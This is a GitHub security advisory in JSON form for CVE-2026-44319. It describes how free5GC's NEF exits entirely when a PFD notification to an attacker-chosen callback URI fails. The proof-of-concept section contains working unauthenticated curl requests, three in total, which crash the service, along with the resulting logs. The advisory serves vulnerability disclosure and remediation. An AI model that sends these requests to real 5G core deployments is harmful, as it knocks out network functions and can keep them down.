CVE-2026-44319: Github.com/free5gc/nef Free5GC's NEF Crashes Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rxrq-fv76-26pr",
  "modified" : "2026-06-08T23:47:12Z",
  "published" : "2026-05-08T22:44:35Z",
  "aliases" : [ "CVE-2026-44319" ],
  "summary" : "free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)",
  "details" : "### Summary\nfree5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`).\n\nThe trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.1`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`)\n- NEF endpoint: `http://10.100.200.19:8000`\n\nVulnerable notifier path:\n```go\n_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(\n    context.TODO(), nc.notifier.getSubURI(id), notifyReq)\nif err != nil {\n    logger.PFDManageLog.Fatal(err)   // <-- os.Exit(1)-equivalent\n}\n```\n\nThe failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die.\n\nCode evidence (paths in `free5gc/nef`):\n- Notifier dispatch:\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135`\n- Fatal call site (process exit):\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.\n\n1. Create an AF context (no Authorization header):\n```\ncurl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afAppId\":\"app-nef-dos\",\"anyUeInd\":true}'\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1\n```\n\n2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):\n```\ncurl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"applicationIds\":[\"app-nef-dos\"],\"notifyUri\":\"http://127.0.0.1:1/notify\"}'\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\n3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:\n```\ncurl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"pfdDatas\":{\"app-nef-dos\":{\"externalAppId\":\"app-nef-dos\",\"pfds\":{\"pfd1\":{\"pfdId\":\"pfd1\",\"flowDescriptions\":[\"permit in ip from 10.68.28.39 80 to any\",\"permit out ip from any to 10.68.28.39 80\"]}}}}}'\n```\nThe PFD POST itself returns `201`, but immediately afterward NEF exits.\n\n4. Confirm the NEF container is dead (`exited`, `exit=1`):\n```\ndocker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'\n```\n```\nstatus=exited restart=0 exit=1\n```\n\n5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added\n[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |\n[FATA][NEF][PFDMng] Post \"http://127.0.0.1:1/notify\": dial tcp 127.0.0.1:1: connect: connection refused\n```\n\n### Impact\nReachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.\n\nIn v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:\n- Submit the three-step trigger anonymously and immediately terminate the NEF process.\n- Repeat the trigger after every restart to sustain the outage.\n- Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family.\n\nNo Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/924\nUpstream fix: https://github.com/free5gc/nef/pull/25",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/nef"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44319"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/issues/924"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nef/pull/25"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-617", "CWE-755" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T22:44:35Z",
    "nvd_published_at" : "2026-05-27T17:16:37Z"
  }
}